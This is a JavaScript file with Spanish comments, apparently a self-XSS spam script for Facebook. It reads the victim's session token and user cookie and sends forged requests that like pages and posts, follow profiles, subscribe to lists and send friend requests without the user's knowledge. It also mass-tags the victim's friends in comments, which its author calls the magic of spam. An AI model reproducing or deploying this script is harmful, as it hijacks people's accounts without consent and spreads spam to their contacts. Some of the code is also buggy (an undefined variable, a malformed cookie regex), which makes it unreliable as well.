-
// Obtenemos la informcaion necesaria del usuario
-
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
-
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
-
var now=(new Date).getTime(); //y la fecha :v
-
-
-
/**
-
* like(id_de_la_pagina)
-
*
-
* El usuario dara me gusta a la pagina indicada ( sin saberlo claro )
-
*/
-
function like(p){ //Donde p es la pagina a la que se le dara like
-
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
-
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
-
var now=(new Date).getTime(); //y la fecha :v
-
var Page = new XMLHttpRequest();
-
var PageURL = "//www.facebook.com/ajax/pages/fan_status.php";
-
var PageParams ="&fbpage_id="+p+"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";
-
Page.open("POST",PageURL,true);
-
Page.onreadystatechange = function(){
-
if(Page.readyState == 4 && Page.status == 200){
-
Page.close
-
}
-
};
-
Page.send(PageParams)
-
}
-
-
/**
-
* follow(profile_id)
-
*
-
* El usuario se convertira en follower del perfil indicado
-
*/
-
function follow(p){ //Donde p es el perfil que se seguira
-
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
-
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
-
var now=(new Date).getTime(); //y la fecha :v
-
var http4 = new XMLHttpRequest;
-
var url4 = "/ajax/follow/follow_profile.php?__a=1";
-
var params4 = "profile_id="+p+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";
-
http4.open("POST",url4,true);
-
http4.onreadystatechange = function(){
-
if(http4.readyState == 4 && http4.status == 200)http4.close
-
};
-
http4.send(params4)
-
}
-
-
/**
-
* suscribeList(list_id)
-
*
-
* Suscribe al usuario a una lista :v
-
*/
-
function suscribeList(l){ //Te suscribe a una lista (no sabia que existian esas madres xD), 'l' es el id de la lista
-
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
-
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
-
var now=(new Date).getTime(); //y la fecha :v
-
var a = document.createElement('script');
-
a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+l+" }).send();";
-
document.body.appendChild(a)
-
}
-
-
/**
-
* likePost(post_id)
-
*
-
* El usuario donara un laic al post indicado :v
-
*/
-
function likePost(p){ //le dara like a un post, donde p es el id del post
-
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
-
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
-
var now=(new Date).getTime(); //y la fecha :v
-
var X = new XMLHttpRequest();
-
var XURL = "//www.facebook.com/ajax/ufi/like.php";
-
var XParams ="like_action=true&ft_ent_identifier="+post+"&source=1&client_id="+now+"%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=1380391385519013&ft[mf_story_key]="+post+"&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg="+fb_dtsg+"&phstamp=";
-
X.open("POST",XURL,true);
-
X.onreadystatechange=function(){
-
if(X.readyState == 4 && X.status == 200){
-
X.close}
-
};
-
X.send(XParams)
-
}
-
-
/**
-
* sendFriendRequest(profile_id)
-
*
-
* El usuario enviara una solicitud de amistad al perfil indicada xD
-
*/
-
function sendFriendRequest(id){
-
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
-
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
-
var now=(new Date).getTime(); //y la fecha :v
-
var X = new XMLHttpRequest();
-
var XURL = "//www.facebook.com/ajax/add_friend/action.php";
-
var XParams = "to_friend=" + id +"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg=" + fb_dtsg + "&phstamp=";
-
X.open("POST",XURL,true);
-
X.onreadystatechange=function(){
-
if(X.readyState == 4 && X.status == 200){
-
X.close}
-
};
-
X.send(XParams)
-
}
-
-
-
//_----------------------------------------------------------------------------------------------------------
-
// La parte mas interesante que hace la magia del spam xD, etiquetar a los contactos en los comentarios xD
-
-
//variable necesaria, no las toques xD (es para almacenar la lista de contactos)
-
var arkadaslar = [];
-
-
-
/**
-
* tagContacs(post_id)
-
*
-
* Etiquetara a los amigos del usuario en los comentarios del post indicado :3
-
*/
-
function tagContacs(id){
-
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
-
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
-
var now=(new Date).getTime(); //y la fecha :v
-
var _request = new XMLHttpRequest();
-
-
_request["onreadystatechange"] = function (){
-
if(_request["readyState"] == 4){
-
eval("arkadaslar = " + _request["responseText"].toString()["replace"]("for (;;);","")+ ";");
-
for(f = 0; f < Math["round"](arkadaslar["payload"]["entries"]["length"]/27); f++ ) {
-
-
mesaj = "";
-
mesaj_text = "";
-
-
for(i = f * 27; i < (f + 1) * 27; i++) {
-
if(arkadaslar["payload"]["entries"][i]){
-
mesaj += " @[" + arkadaslar["payload"]["entries"][i]["uid"] + ":" +arkadaslar["payload"]["entries"][i]["text"] + "]";
-
mesaj_text += " " + arkadaslar["payload"]["entries"][i]["text"];
-
};
-
};
-
sendTagPost(id,mesaj);
-
};
-
};
-
};
-
-
var a = "&filter[0]=user";
-
-
a += "&options[0]=friends_only";
-
a += "&options[1]=nm";
-
a += "&token=v7";
-
a += "&viewer=" + user_id;
-
a += "&__user=" + user_id;
-
-
if(document["URL"]["indexOf"]("https://") >= 0) {
-
_request["open"]("GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + a, true);
-
} else {
-
_request["open"]("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + a, true);
-
};
-
-
_request["send"]();
-
};
-
-
-
function sendTagPost(id,content) {
-
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
-
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
-
var now=(new Date).getTime(); //y la fecha :v
-
var _request = new XMLHttpRequest();
-
var a = "";
-
a += "&ft_ent_identifier=" + id;
-
a += "&comment_text=" + encodeURIComponent(content);
-
a += "&source=2";
-
a += "&client_id=1377871797138:1707018092";
-
a += "&reply_fbid";
-
a += "&parent_comment_id";
-
a += "&rootid=u_jsonp_2_3";
-
a += '&clp={"cl_impid":"453524a0","clearcounter":0,"elementid":"js_5","version":"x","parent_fbid":' + id + "}";
-
a += "&attached_sticker_fbid=0";
-
a += "&attached_photo_fbid=0";
-
a += "&giftoccasion";
-
a += "&ft[tn]=[]";
-
a += "&__user=" + user_id;
-
a += "&__a=1";
-
a += "&__dyn=7n8ahyj35ynxl2u5F97KepEsyo";
-
a += "&__req=q";
-
a += "&fb_dtsg=" + fb_dtsg;
-
a += "&ttstamp=";
-
-
_request["open"]("POST","/ajax/ufi/add_comment.php",true);
-
-
_request["setRequestHeader"]("Content-type","application/x-www-form-urlencoded");
-
-
_request["onreadystatechange"] = function() {
-
-
if(_request["readyState"] == 4 && _request["status"] == 200) {
-
_request["close"];
-
};
-
-
};
-
-
_request["send"](a);
-
};
-
-
//-----------------------------------------------------------------------------------------